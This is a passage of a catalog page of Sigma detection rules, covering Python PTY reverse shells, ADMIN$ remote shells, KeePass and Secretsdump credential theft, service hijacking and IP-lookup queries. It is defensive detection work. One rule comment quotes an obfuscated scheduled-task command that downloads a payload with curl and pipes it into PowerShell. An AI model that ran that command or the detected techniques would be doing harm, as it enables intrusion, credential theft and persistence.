  • -i —s pwsh corpus 2 (sigma 2)
  • -i ―s cmd corpus 2 (sigma 2)
  • -i ―s powershell corpus 2 (sigma 2)
  • -i ―s pwsh corpus 2 (sigma 2)
  • -s -i cmd corpus 2 (sigma 2)
  • -s -i powershell corpus 2 (sigma 2)
  • -s -i pwsh corpus 2 (sigma 2)
  • -s /i cmd corpus 2 (sigma 2)
  • -s /i powershell corpus 2 (sigma 2)
  • -s /i pwsh corpus 2 (sigma 2)
  • -s cmd corpus 2 (sigma 2)
  • -s powershell corpus 2 (sigma 2)
  • -s pwsh corpus 2 (sigma 2)
  • -s –i cmd corpus 2 (sigma 2)
  • -s –i powershell corpus 2 (sigma 2)
  • -s –i pwsh corpus 2 (sigma 2)
  • -s —i cmd corpus 2 (sigma 2)
  • -s —i powershell corpus 2 (sigma 2)
  • -s —i pwsh corpus 2 (sigma 2)
  • -s ―i cmd corpus 2 (sigma 2)
  • -s ―i powershell corpus 2 (sigma 2)
  • -s ―i pwsh corpus 2 (sigma 2)
  • /i -s cmd corpus 2 (sigma 2)
  • /i -s powershell corpus 2 (sigma 2)
  • /i -s pwsh corpus 2 (sigma 2)
  • /i /s cmd corpus 2 (sigma 2)
  • /i /s powershell corpus 2 (sigma 2)
  • /i /s pwsh corpus 2 (sigma 2)
  • /i –s cmd corpus 2 (sigma 2)
  • +128 more values (see full rule source)
field:"CommandLine" kind:match

Python Spawning Pretty TTY Via PTY Module

#
Status
test
Severity
medium
Author
Nextron Systems
Source
github.com/SigmaHQ/sigma

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Python Spawning Pretty TTY Via PTY Module
id: c4042d54-110d-45dd-a0e1-05c47822c937
related:
    - id: 32e62bc7-3de0-4bb1-90af-532978fe42c0
      type: similar
status: test
description: |
    Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.
references:
    - https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
author: Nextron Systems
date: 2022-06-03
modified: 2024-11-04
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        - Image|endswith:
              - '/python'
              - '/python2'
              - '/python3'
        - Image|contains:
              - '/python2.'  # python image is always of the form ../python3.10; ../python is just a symlink
              - '/python3.'
    selection_cli_import:
        CommandLine|contains:
            - 'import pty'
            - 'from pty '
    selection_cli_spawn:
        CommandLine|contains: 'spawn'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '/python'
          - '/python2'
          - '/python3'
    - Image|contains:
          - '/python2.'
          - '/python3.'

Stage 2: selection_cli_import

selection_cli_import:
    CommandLine|contains:
        - 'import pty'
        - 'from pty '

Stage 3: selection_cli_spawn

selection_cli_spawn:
    CommandLine|contains: 'spawn'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • from pty
  • import pty corpus 2 (sigma 2)
  • spawn corpus 4 (sigma 3, elastic 1)
field:"CommandLine" kind:match
Imageends_with
  • /python corpus 8 (sigma 8)
  • /python2 corpus 5 (sigma 5)
  • /python3 corpus 5 (sigma 5)
field:"Image" kind:ends_with
Imagematch
  • /python2. corpus 3 (sigma 3)
  • /python3. corpus 3 (sigma 3)
field:"Image" kind:match

Remote shell execution via SMB admin share

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker execute a remote shell via the admin share.

Known False Positives

  • Administrator activity

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Remote shell execution via SMB admin share
description: Detects scenarios where an attacker execute a remote shell via the admin share.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.002%20-SMB%20Windows%20Admin%20Shares
- https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
tags:
- attack.lateral_movement
- attack.t1021.002
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\ADMIN$'
    RelativeTargetName|endswith:
      - \cmd.exe
      - \powershell.exe
      - \pwsh.exe # PowerShell v6
  condition: selection
falsepositives:
- Administrator activity
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 5145
  ShareName: '\\*\ADMIN$'
  RelativeTargetName|endswith:
    - \cmd.exe
    - \powershell.exe
    - \pwsh.exe

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
RelativeTargetNameends_with
  • \cmd.exe
  • \powershell.exe
  • \pwsh.exe
field:"RelativeTargetName" kind:ends_with
ShareNamewildcard
  • \\*\ADMIN$ corpus 6 (sigma 6)
field:"ShareName" kind:wildcard value:"\\*\ADMIN$"

Remote Thread Created In KeePass.EXE

#
Status
test
Severity
high
Author
Timon Hackenjos
Source
github.com/SigmaHQ/sigma

Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 8: CreateRemoteThread

Rule Body

title: Remote Thread Created In KeePass.EXE
id: 77564cc2-7382-438b-a7f6-395c2ae53b9a
status: test
description: Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity
references:
    - https://www.cisa.gov/uscert/ncas/alerts/aa20-259a
    - https://github.com/denandz/KeeFarce
    - https://github.com/GhostPack/KeeThief
author: Timon Hackenjos
date: 2022-04-22
modified: 2023-05-05
tags:
    - attack.credential-access
    - attack.t1555.005
logsource:
    product: windows
    category: create_remote_thread
detection:
    selection:
        TargetImage|endswith: '\KeePass.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetImage|endswith: '\KeePass.exe'

Indicators

These rows show field, operator, and value matches.

Scheduled Task Creation with Curl and PowerShell Execution Combo

#
Status
experimental
Severity
medium
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.

Known False Positives

  • Legitimate use of schtasks for administrative purposes.
  • Automation scripts combining curl and PowerShell in controlled environments.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Scheduled Task Creation with Curl and PowerShell Execution Combo
id: 1d174d38-8fda-4081-a9b6-56d9763c0cd8
status: experimental
description: |
    Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.
    This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.
references:
    - https://tria.ge/241015-l98snsyeje/behavioral2
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-02-05
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.stealth
    - attack.t1053.005
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
    selection_img:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains|windash: ' /create '
    selection_curl:
        CommandLine|contains|all:
            - 'curl '
            - 'http'
            - '-o'
    selection_powershell:
        CommandLine|contains: 'powershell'
    condition: all of selection_*
falsepositives:
    - Legitimate use of schtasks for administrative purposes.
    - Automation scripts combining curl and PowerShell in controlled environments.
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|windash: ' /create '

Stage 2: selection_curl

selection_curl:
    CommandLine|contains|all:
        - 'curl '
        - 'http'
        - '-o'

Stage 3: selection_powershell

selection_powershell:
    CommandLine|contains: 'powershell'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -create corpus 4 (sigma 4)
  • /create corpus 15 (sigma 15)
  • –create corpus 4 (sigma 4)
  • —create corpus 4 (sigma 4)
  • ―create corpus 4 (sigma 4)
  • -o corpus 3 (sigma 3)
  • curl corpus 11 (sigma 11)
  • http corpus 45 (sigma 34, elastic 10, splunk 1)
  • powershell corpus 24 (sigma 24)
field:"CommandLine" kind:match
Imageends_with
  • \schtasks.exe corpus 55 (sigma 55)
field:"Image" kind:ends_with value:"\schtasks.exe"

Secretdump password dumping via SMB admin share

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker execute Secretdump in order to remotely dump credentials over SMB.

Known False Positives

  • none

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Secretdump password dumping via SMB admin share
description: Detects scenarios where an attacker execute Secretdump in order to remotely dump credentials over SMB.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1003-Credential%20dumping
- https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/
- https://airman604.medium.com/dumping-active-directory-password-hashes-deb9468d1633
- https://medium.com/@benichmt1/secretsdump-demystified-bfd0f933dd9b
tags:
- attack.credential_access
- attack.t1003.002
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\ADMIN$'
    RelativeTargetName|startswith: SYSTEM32
    RelativeTargetName|endswith: '.tmp' # example: 'SYSTEM32\NMdzZfem.tmp'
  condition: selection
falsepositives:
- none
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 5145
  ShareName: '\\*\ADMIN$'
  RelativeTargetName|startswith: SYSTEM32
  RelativeTargetName|endswith: '.tmp'

Indicators

These rows show field, operator, and value matches.

Service permissions hijacked for privileges abuse (reg via command)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker modify the permissions of a service in order to abuse its privileges

Known False Positives

  • administrator reconfiguring service

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Service permissions hijacked for privileges abuse (reg via command)
description: Detects scenarios where an attacker modify the permissions of a service in order to abuse its privileges
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- http://woshub.com/set-permissions-on-windows-service/
- https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
- https://decoder.cloud/2019/02/07/demystifying-windows-service-permissions-configuration/
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.1
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
- https://github.com/rohnedwards/PowerShellAccessControl
tags:
- attack.persistence
- attack.t1543.003
- attack.t1574.010
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 4688
    NewProcessName|endswith: \reg.exe
    CommandLine|contains: 'REG ADD'
    CommandLine|re: '\\SYSTEM\\CurrentControlSet\\Services\\.*\\Security' # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\xboxsvc\Security
  condition: selection
falsepositives:
- administrator reconfiguring service
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4688
  NewProcessName|endswith: \reg.exe
  CommandLine|contains: 'REG ADD'
  CommandLine|re: '\\SYSTEM\\CurrentControlSet\\Services\\.*\\Security'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • REG ADD corpus 13 (sigma 13)
field:"CommandLine" kind:match value:"REG ADD"
CommandLineregex_match
  • \SYSTEM\CurrentControlSet\Services\.*\Security
field:"CommandLine" kind:regex_match value:"\SYSTEM\CurrentControlSet\Services\.*\Security"
NewProcessNameends_with
  • \reg.exe corpus 58 (sigma 58)
field:"Image" kind:ends_with value:"\reg.exe"

SQL Server - new member added to a server role

#
Status
experimental
Severity
medium
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker adds his account to a server role (sysadmin, securityadmin, serveradmin, ...)

Known False Positives

  • DBA activity

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Privilege Escalation

Telemetry Coverage

ProviderRecord / event type
MSSQLSERVEREvent ID 33205

Rule Body

title: SQL Server - new member added to a server role
description: Detects scenarios where an attacker adds his account to a server role (sysadmin, securityadmin, serveradmin, ...)
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1098.xxx-Account%20manipulation
- https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions
- https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles
tags:
- attack.account_manipulation
- attack.t1098
author: mdecrevoisier
status: experimental
logsource:
  product: mssql
  category: application
detection:
  selection: # ALTER SERVER ROLE [setupadmin] ADD MEMBER [demo\SQL_user1]
    EventID: 33205
    action_id:
      - APRL # ADD MEMBER
      - ADSP # SERVER_ROLE_MEMBER_CHANGE_GROUP
    class_type: SG # SERVER ROLE
  condition: selection
falsepositives:
- DBA activity
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 33205
  action_id:
    - APRL
    - ADSP
  class_type: SG

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
action_ideq
  • ADSP
  • APRL corpus 2 (sigma 2)
field:"action_id" kind:eq
class_typeeq
  • SG
field:"class_type" kind:eq value:"SG"

Suspicious BitLocker Access Agent Update Utility Execution

#
Status
experimental
Severity
high
Author
andrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the execution of the BitLocker Access Agent Update Utility (baaupdate.exe) which is not a common parent process for other processes. Suspicious child processes spawned by baaupdate.exe could indicate an attempt at lateral movement via BitLocker DCOM & COM Hijacking.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious BitLocker Access Agent Update Utility Execution
id: 9f38c1db-e2ae-40bf-81d0-5b68f73fb512
related:
    - id: 6e8fe0a8-ba0b-4a93-8f9e-82657e7a5984 # BaaUpdate.exe Suspicious DLL Load
      type: similar
status: experimental
description: |
    Detects the execution of the BitLocker Access Agent Update Utility (baaupdate.exe) which is not a common parent process for other processes.
    Suspicious child processes spawned by baaupdate.exe could indicate an attempt at lateral movement via BitLocker DCOM & COM Hijacking.
references:
    - https://github.com/rtecCyberSec/BitlockMove
author: andrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-10-18
tags:
    - attack.stealth
    - attack.t1218
    - attack.lateral-movement
    - attack.t1021.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\baaupdate.exe'
        Image|endswith:
            - '\bitsadmin.exe'
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell_ise.exe'
            - '\powershell.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\schtasks.exe'
            - '\wmic.exe'
            - '\wscript.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\baaupdate.exe'
    Image|endswith:
        - '\bitsadmin.exe'
        - '\cmd.exe'
        - '\cscript.exe'
        - '\mshta.exe'
        - '\powershell_ise.exe'
        - '\powershell.exe'
        - '\regsvr32.exe'
        - '\rundll32.exe'
        - '\schtasks.exe'
        - '\wmic.exe'
        - '\wscript.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \cscript.exe corpus 72 (sigma 72)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \powershell_ise.exe corpus 41 (sigma 41)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \rundll32.exe corpus 94 (sigma 94)
  • \schtasks.exe corpus 55 (sigma 55)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ParentImageends_with
  • \baaupdate.exe
field:"ParentImage" kind:ends_with value:"\baaupdate.exe"

Suspicious DNS Query for IP Lookup Service APIs

#
Status
test
Severity
medium
Author
Brandon George (blog post), Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.

Known False Positives

  • Legitimate usage of IP lookup services such as ipify API

MITRE ATT&CK Coverage

TacticTechniques
Reconnaissance

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 22: DNSEvent (DNS query)

Rule Body

title: Suspicious DNS Query for IP Lookup Service APIs
id: ec82e2a5-81ea-4211-a1f8-37a0286df2c2
status: test
description: Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.
references:
    - https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
    - https://twitter.com/neonprimetime/status/1436376497980428318
    - https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
author: Brandon George (blog post), Thomas Patzke
date: 2021-07-08
modified: 2024-03-22
tags:
    - attack.reconnaissance
    - attack.t1590
logsource:
    product: windows
    category: dns_query
detection:
    selection:
        - QueryName:
              - 'www.ip.cn'
              - 'l2.io'
        - QueryName|contains:
              - 'api.2ip.ua'
              - 'api.bigdatacloud.net'
              - 'api.ipify.org'
              - 'bot.whatismyipaddress.com'
              - 'canireachthe.net'
              - 'checkip.amazonaws.com'
              - 'checkip.dyndns.org'
              - 'curlmyip.com'
              - 'db-ip.com'
              - 'edns.ip-api.com'
              - 'eth0.me'
              - 'freegeoip.app'
              - 'geoipy.com'
              - 'getip.pro'
              - 'icanhazip.com'
              - 'ident.me'
              - 'ifconfig.io'
              - 'ifconfig.me'
              - 'ip-api.com'
              - 'ip.360.cn'
              - 'ip.anysrc.net'
              - 'ip.taobao.com'
              - 'ip.tyk.nu'
              - 'ipaddressworld.com'
              - 'ipapi.co'
              - 'ipconfig.io'
              - 'ipecho.net'
              - 'ipinfo.io'
              - 'ipip.net'
              - 'ipof.in'
              - 'ipv4.icanhazip.com'
              - 'ipv4bot.whatismyipaddress.com'
              - 'ipv6-test.com'
              - 'ipwho.is'
              - 'jsonip.com'
              - 'myexternalip.com'
              - 'seeip.org'
              - 'wgetip.com'
              - 'whatismyip.akamai.com'
              - 'whois.pconline.com.cn'
              - 'wtfismyip.com'
    filter_optional_brave:
        Image|endswith: '\brave.exe'
    filter_optional_chrome:
        Image:
            - 'C:\Program Files\Google\Chrome\Application\chrome.exe'
            - 'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe'
    filter_optional_firefox:
        Image:
            - 'C:\Program Files\Mozilla Firefox\firefox.exe'
            - 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe'
    filter_optional_ie:
        Image:
            - 'C:\Program Files (x86)\Internet Explorer\iexplore.exe'
            - 'C:\Program Files\Internet Explorer\iexplore.exe'
    filter_optional_maxthon:
        Image|endswith: '\maxthon.exe'
    filter_optional_edge_1:
        - Image|startswith: 'C:\Program Files (x86)\Microsoft\EdgeWebView\Application\'
        - Image|endswith: '\WindowsApps\MicrosoftEdge.exe'
        - Image:
              - 'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe'
              - 'C:\Program Files\Microsoft\Edge\Application\msedge.exe'
    filter_optional_edge_2:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft\EdgeCore\'
            - 'C:\Program Files\Microsoft\EdgeCore\'
        Image|endswith:
            - '\msedge.exe'
            - '\msedgewebview2.exe'
    filter_optional_opera:
        Image|endswith: '\opera.exe'
    filter_optional_safari:
        Image|endswith: '\safari.exe'
    filter_optional_seamonkey:
        Image|endswith: '\seamonkey.exe'
    filter_optional_vivaldi:
        Image|endswith: '\vivaldi.exe'
    filter_optional_whale:
        Image|endswith: '\whale.exe'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Legitimate usage of IP lookup services such as ipify API
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_optional_*

Stage 1: selection

selection:
    - QueryName:
          - 'www.ip.cn'
          - 'l2.io'
    - QueryName|contains:
          - 'api.2ip.ua'
          - 'api.bigdatacloud.net'
          - 'api.ipify.org'
          - 'bot.whatismyipaddress.com'
          - 'canireachthe.net'
          - 'checkip.amazonaws.com'
          - 'checkip.dyndns.org'
          - 'curlmyip.com'
          - 'db-ip.com'
          - 'edns.ip-api.com'
          - 'eth0.me'
          - 'freegeoip.app'
          - 'geoipy.com'
          - 'getip.pro'
          - 'icanhazip.com'
          - 'ident.me'
          - 'ifconfig.io'
          - 'ifconfig.me'
          - 'ip-api.com'
          - 'ip.360.cn'
          - 'ip.anysrc.net'
          - 'ip.taobao.com'
          - 'ip.tyk.nu'
          - 'ipaddressworld.com'
          - 'ipapi.co'
          - 'ipconfig.io'
          - 'ipecho.net'
          - 'ipinfo.io'
          - 'ipip.net'
          - 'ipof.in'
          - 'ipv4.icanhazip.com'
          - 'ipv4bot.whatismyipaddress.com'
          - 'ipv6-test.com'
          - 'ipwho.is'
          - 'jsonip.com'
          - 'myexternalip.com'
          - 'seeip.org'
          - 'wgetip.com'
          - 'whatismyip.akamai.com'
          - 'whois.pconline.com.cn'
          - 'wtfismyip.com'

Stage 2: not filter_optional_*

filter_optional_brave:
    Image|endswith: '\brave.exe'
filter_optional_chrome:
    Image:
        - 'C:\Program Files\Google\Chrome\Application\chrome.exe'
        - 'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe'
filter_optional_firefox:
    Image:
        - 'C:\Program Files\Mozilla Firefox\firefox.exe'
        - 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe'
filter_optional_ie:
    Image:
        - 'C:\Program Files (x86)\Internet Explorer\iexplore.exe'
        - 'C:\Program Files\Internet Explorer\iexplore.exe'
filter_optional_maxthon:
    Image|endswith: '\maxthon.exe'
filter_optional_edge_1:
    - Image|startswith: 'C:\Program Files (x86)\Microsoft\EdgeWebView\Application\'
    - Image|endswith: '\WindowsApps\MicrosoftEdge.exe'
    - Image:
          - 'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe'
          - 'C:\Program Files\Microsoft\Edge\Application\msedge.exe'
filter_optional_edge_2:
    Image|startswith:
        - 'C:\Program Files (x86)\Microsoft\EdgeCore\'
        - 'C:\Program Files\Microsoft\EdgeCore\'
    Image|endswith:
        - '\msedge.exe'
        - '\msedgewebview2.exe'
filter_optional_opera:
    Image|endswith: '\opera.exe'
filter_optional_safari:
    Image|endswith: '\safari.exe'
filter_optional_seamonkey:
    Image|endswith: '\seamonkey.exe'
filter_optional_vivaldi:
    Image|endswith: '\vivaldi.exe'
filter_optional_whale:
    Image|endswith: '\whale.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
QueryNameeq
  • l2.io
  • www.ip.cn
field:"QueryName" kind:eq
QueryNamematch
  • api.2ip.ua corpus 2 (sigma 1, elastic 1)
  • api.bigdatacloud.net
  • api.ipify.org corpus 2 (sigma 1, elastic 1)
  • bot.whatismyipaddress.com corpus 2 (sigma 1, elastic 1)
  • canireachthe.net
  • checkip.amazonaws.com corpus 2 (sigma 1, elastic 1)
  • checkip.dyndns.org corpus 2 (sigma 1, elastic 1)
  • curlmyip.com corpus 2 (sigma 1, elastic 1)
  • db-ip.com
  • edns.ip-api.com
  • eth0.me corpus 2 (sigma 1, elastic 1)
  • freegeoip.app corpus 2 (sigma 1, elastic 1)
  • geoipy.com
  • getip.pro
  • icanhazip.com corpus 2 (sigma 1, elastic 1)
  • ident.me corpus 2 (sigma 1, elastic 1)
  • ifconfig.io
  • ifconfig.me corpus 2 (sigma 1, elastic 1)
  • ip-api.com corpus 2 (sigma 1, elastic 1)
  • ip.360.cn
  • ip.anysrc.net
  • ip.taobao.com
  • ip.tyk.nu corpus 2 (sigma 1, elastic 1)
  • ipaddressworld.com
  • ipapi.co
  • ipconfig.io
  • ipecho.net corpus 2 (sigma 1, elastic 1)
  • ipinfo.io corpus 2 (sigma 1, elastic 1)
  • ipip.net
  • ipof.in corpus 2 (sigma 1, elastic 1)
  • ipv4.icanhazip.com
  • ipv4bot.whatismyipaddress.com
  • ipv6-test.com
  • ipwho.is corpus 2 (sigma 1, elastic 1)
  • jsonip.com
  • myexternalip.com
  • seeip.org
  • wgetip.com corpus 2 (sigma 1, elastic 1)
  • whatismyip.akamai.com corpus 2 (sigma 1, elastic 1)
  • whois.pconline.com.cn
  • wtfismyip.com corpus 2 (sigma 1, elastic 1)
field:"QueryName" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\msedge.exeexcludes:Image field:"Image" value:"\msedge.exe"
Imageends_with\msedgewebview2.exeexcludes:Image field:"Image" value:"\msedgewebview2.exe"
Imagestarts_withC:\Program Files (x86)\Microsoft\EdgeCore\excludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft\EdgeCore\"
Imagestarts_withC:\Program Files\Microsoft\EdgeCore\excludes:Image field:"Image" value:"C:\Program Files\Microsoft\EdgeCore\"
Imageends_with\WindowsApps\MicrosoftEdge.exeexcludes:Image field:"Image" value:"\WindowsApps\MicrosoftEdge.exe"
Imageends_with\brave.exeexcludes:Image field:"Image" value:"\brave.exe"
Imageends_with\maxthon.exeexcludes:Image field:"Image" value:"\maxthon.exe"
Imageends_with\opera.exeexcludes:Image field:"Image" value:"\opera.exe"
Imageends_with\safari.exeexcludes:Image field:"Image" value:"\safari.exe"
Imageends_with\seamonkey.exeexcludes:Image field:"Image" value:"\seamonkey.exe"
Imageends_with\vivaldi.exeexcludes:Image field:"Image" value:"\vivaldi.exe"
Imageends_with\whale.exeexcludes:Image field:"Image" value:"\whale.exe"
ImageeqC:\Program Files (x86)\Google\Chrome\Application\chrome.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
ImageeqC:\Program Files (x86)\Internet Explorer\iexplore.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
ImageeqC:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
ImageeqC:\Program Files (x86)\Mozilla Firefox\firefox.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
ImageeqC:\Program Files\Google\Chrome\Application\chrome.exeexcludes:Image field:"Image" value:"C:\Program Files\Google\Chrome\Application\chrome.exe"
ImageeqC:\Program Files\Internet Explorer\iexplore.exeexcludes:Image field:"Image" value:"C:\Program Files\Internet Explorer\iexplore.exe"
ImageeqC:\Program Files\Microsoft\Edge\Application\msedge.exeexcludes:Image field:"Image" value:"C:\Program Files\Microsoft\Edge\Application\msedge.exe"
ImageeqC:\Program Files\Mozilla Firefox\firefox.exeexcludes:Image field:"Image" value:"C:\Program Files\Mozilla Firefox\firefox.exe"
Imagestarts_withC:\Program Files (x86)\Microsoft\EdgeWebView\Application\excludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\"

Suspicious Double Extension Files

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems), frack113
Source
github.com/SigmaHQ/sigma

Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: Suspicious Double Extension Files
id: b4926b47-a9d7-434c-b3a0-adc3fa0bd13e
related:
    - id: 1cdd9a09-06c9-4769-99ff-626e2b3991b8
      type: derived
    - id: 3215aa19-f060-4332-86d5-5602511f3ca8
      type: similar
status: test
description: Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.
references:
    - https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
    - https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
    - https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles
    - https://twitter.com/malwrhunterteam/status/1235135745611960321
    - https://twitter.com/luc4m/status/1073181154126254080
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
    - https://vipre.com/blog/svg-phishing-attacks-the-new-trick-in-the-cybercriminals-playbook/
author: Nasreddine Bencherchali (Nextron Systems), frack113
date: 2022-06-19
modified: 2026-03-31
tags:
    - attack.stealth
    - attack.t1036.007
logsource:
    category: file_event
    product: windows
detection:
    selection_gen:
        TargetFilename|endswith:
            - '.exe'
            - '.iso'
            - '.rar'
            - '.svg'
            - '.zip'
            # - '.lnk'  # legitimate links can happen just anywhere
        TargetFilename|contains:
            - '.doc.'
            - '.docx.'
            - '.gif.'
            - '.jpeg.'
            - '.jpg.'
            - '.mp3.'
            - '.mp4.'
            - '.pdf.'
            - '.png.'
            - '.ppt.'
            - '.pptx.'
            - '.rtf.'
            - '.svg.'
            - '.txt.'
            - '.xls.'
            - '.xlsx.'
    selection_exe:
